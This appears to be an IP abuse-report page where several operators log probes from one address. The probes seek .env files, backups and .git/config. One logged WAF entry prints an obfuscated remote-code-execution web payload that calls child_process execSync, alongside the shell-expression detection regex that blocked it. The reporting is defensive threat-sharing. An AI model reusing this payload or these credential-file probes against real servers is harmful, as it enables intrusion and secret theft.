🇺🇸
Rocky Mountain Bioengineering Symposium
2026-10-05 21:31:03
(2 hours ago)
[Mon Oct 05 15:30:55.655906 2026] [authz_core:error] [pid 186364:tid 140267583694400] [client 35.206 ...
show more
[Mon Oct 05 15:30:55.655906 2026] [authz_core:error] [pid 186364:tid 140267583694400] [client 35.206.207.91:50818] AH01630: client denied by server configuration: /var/www/horde/.env.bak
[Mon Oct 05 15:31:02.906324 2026] [authz_core:error] [pid 186364:tid 140266006586944] [client 35.206.207.91:50818] AH01630: client denied by server configuration: /var/www/horde/.env.dist
[Mon Oct 05 15:31:03.095747 2026] [authz_core:error] [pid 186364:tid 140267407513152] [client 35.206.207.91:50818] AH01630: client denied by server configuration: /var/www/horde/.env.swp
...
show less
Bad Web Bot
🇺🇸
TPI-Abuse
2026-10-05 20:37:50
(2 hours ago)
(mod_security) mod_security (id:210492) triggered by 35.206.207.91 (91.207.206.35.bc.googleuserconte ...
show more
(mod_security) mod_security (id:210492) triggered by 35.206.207.91 (91.207.206.35.bc.googleusercontent.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Mon Oct 05 16:37:45.767600 2026] [security2:error] [pid 9893:tid 9893] [client 35.206.207.91:0] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "autodiscover.cloudex.click"] [uri "/.git/config"] [unique_id "asQKmZLlpbSfkrbhPEX4CAAAAA0"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇩🇪
4server
2026-10-05 17:28:58
(6 hours ago)
[MonOct0519:28:53.7245202026][security2:error][pid2587592:tid2587671][client35.206.207.91:0]ModSecur ...
show more
[MonOct0519:28:53.7245202026][security2:error][pid2587592:tid2587671][client35.206.207.91:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?:\\\\\\\\\$\(\?:\\\\\\\\\(\(\?:\\\\\\\\\(.\*\\\\\\\\\)\|.\*\)\\\\\\\\\)\|\\\\\\\\{.\*\\\\\\\\}\)\|[\<\>]\\\\\\\\\(.\*\\\\\\\\\)\)\"atARGS:0.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"396\"][id\"393655\"][rev\"17\"][msg\"Atomicorp.comWAFRules:PossibleRemoteCommandExecution:UnixShellExpressionFound\"][data\"MatchedData:\$\(\(41\*271\)\)foundwithinARGS:0:{then:\$1:__proto__:thenstatus:resolved_modelreason:-1value:{then:\$b1337}_response:{_prefix:varres=process.mainmodule.require\(child_process\).execsync\(echo\$\(\(41\*271\)\)\|base64-w0\).tostring\(\).trim\(\)throwobject.assign\(newerror\(next_redirect\){digest:\`next_redirectpush/login\?a=\${res}307\`}\)_chunks:\$q2_formdata:{get:\$1:constructor:constructor}}}\"][tag\"attack-rce\"][hostname\"autodiscover.buletti-panettoni.ch\"][uri\"/\"][unique_id\"asPeVbnfrd0I9r60QA8IwgAAAQQ\"]
show less
Port Scan
Brute-Force
Web App Attack
🇩🇪
Blexyel
2026-10-05 16:03:55
(7 hours ago)
35.206.207.91 - - [05/Oct/2026:18:03:54 +0200] "GET /.git/config HTTP/1.1" 404 120 "-" "Mozilla/5.0 ...
show more
35.206.207.91 - - [05/Oct/2026:18:03:54 +0200] "GET /.git/config HTTP/1.1" 404 120 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
...
show less
Brute-Force
Web App Attack
🇺🇸
TPI-Abuse
2026-10-05 12:35:07
(10 hours ago)
(mod_security) mod_security (id:210492) triggered by 35.206.207.91 (91.207.206.35.bc.googleuserconte ...
show more
(mod_security) mod_security (id:210492) triggered by 35.206.207.91 (91.207.206.35.bc.googleusercontent.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Mon Oct 05 08:35:01.840543 2026] [security2:error] [pid 11406:tid 11406] [client 35.206.207.91:40400] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "autodiscover.asfmglobal.com"] [uri "/.git/config"] [unique_id "asOZdUrOSfS3Zh4X-oUpegAAAAE"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇷🇴
clauss
2026-10-05 12:16:48
(11 hours ago)
35.206.207.91 - - [05/Oct/2026:15:16:47 +0300] "GET /.git/config HTTP/1.1" 400 63 "-" "Mozilla/5.0 ( ...
show more
35.206.207.91 - - [05/Oct/2026:15:16:47 +0300] "GET /.git/config HTTP/1.1" 400 63 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
35.206.207.91 - - [05/Oct/2026:15:16:47 +0300] "GET /.env.local HTTP/1.1" 400 63 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
...
show less
Web App Attack
🇺🇸
TPI-Abuse
2026-10-05 11:42:01
(11 hours ago)
(mod_security) mod_security (id:210492) triggered by 35.206.207.91 (91.207.206.35.bc.googleuserconte ...
show more
(mod_security) mod_security (id:210492) triggered by 35.206.207.91 (91.207.206.35.bc.googleusercontent.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Mon Oct 05 07:41:57.815061 2026] [security2:error] [pid 15250:tid 15250] [client 35.206.207.91:0] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "autodiscover.apenglishexamprep.com"] [uri "/.git/config"] [unique_id "asONBaHYlhUTyAUEc2iJgQAAAAk"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇺🇸
TPI-Abuse
2026-10-05 11:21:12
(12 hours ago)
(mod_security) mod_security (id:210492) triggered by 35.206.207.91 (91.207.206.35.bc.googleuserconte ...
show more
(mod_security) mod_security (id:210492) triggered by 35.206.207.91 (91.207.206.35.bc.googleusercontent.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Mon Oct 05 07:21:08.495078 2026] [security2:error] [pid 7942:tid 7942] [client 35.206.207.91:59346] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "autodiscover.angelholidaycards.com"] [uri "/.git/config"] [unique_id "asOIJPdVb-Xe5ddqyKAeTwAAAAg"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇮🇹
Inartis
2026-10-05 09:24:47
(14 hours ago)
35.206.207.91 - - [05/Oct/2026:11:24:47 +0200] "GET /.git/config HTTP/1.1" 404 465 "-" "Mozilla/5.0 ...
show more
35.206.207.91 - - [05/Oct/2026:11:24:47 +0200] "GET /.git/config HTTP/1.1" 404 465 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
...
show less
Port Scan
Brute-Force
🇫🇷
phoenix1jl96
2026-10-05 08:52:15
(14 hours ago)
2026/10/05 10:52:14 [error] 13476#13476: *24788 open() "/home/user-data/www/default/mailer/.env" fai ...
show more
2026/10/05 10:52:14 [error] 13476#13476: *24788 open() "/home/user-data/www/default/mailer/.env" failed (2: No such file or directory), client: 35.206.207.91, server: autodiscover.adguardian.ledemon.us, request: "GET /mailer/.env HTTP/1.1", host: "autodiscover.adguardian.ledemon.us"
2026/10/05 10:52:14 [error] 13476#13476: *24788 open() "/usr/local/lib/roundcubemail/.env" failed (2: No such file or directory), client: 35.206.207.91, server: autodiscover.adguardian.ledemon.us, request: "GET /mail/.env HTTP/1.1", host: "autodiscover.adguardian.ledemon.us"
...
show less
DNS Compromise
DNS Poisoning
DDoS Attack
Ping of Death
Web Spam
Email Spam
Blog Spam
Port Scan
Hacking
Brute-Force
Bad Web Bot
SSH
Web App Attack
🇨🇭
ca
2026-10-05 07:57:47
(15 hours ago)
This IP was detected by CrowdSec triggering crowdsecurity/http-probing
Web App Attack
Hacking
🇺🇸
TPI-Abuse
2026-10-05 07:30:11
(16 hours ago)
(mod_security) mod_security (id:210492) triggered by 35.206.207.91 (91.207.206.35.bc.googleuserconte ...
show more
(mod_security) mod_security (id:210492) triggered by 35.206.207.91 (91.207.206.35.bc.googleusercontent.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Mon Oct 05 03:30:03.981412 2026] [security2:error] [pid 29515:tid 29515] [client 35.206.207.91:58654] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "autodiscover.179vfs.com"] [uri "/.git/config"] [unique_id "asNR-zFWeoHSz-ixdrayKgAAAAE"]
show less
Brute-Force
Bad Web Bot
Web App Attack
2026-10-05 07:17:12
(16 hours ago)
IP matched detection query bad paths many.
Brute-Force
Web App Attack
🇮🇹
VHosting
2026-10-05 05:50:03
(17 hours ago)
Detected WordPress attack from different servers
Brute-Force
Web App Attack
🇷🇸
Scan
2024-09-08 03:12:39
(2 years ago)
MultiHost/MultiPort Probe, Scan, Hack -
Port Scan
Hacking
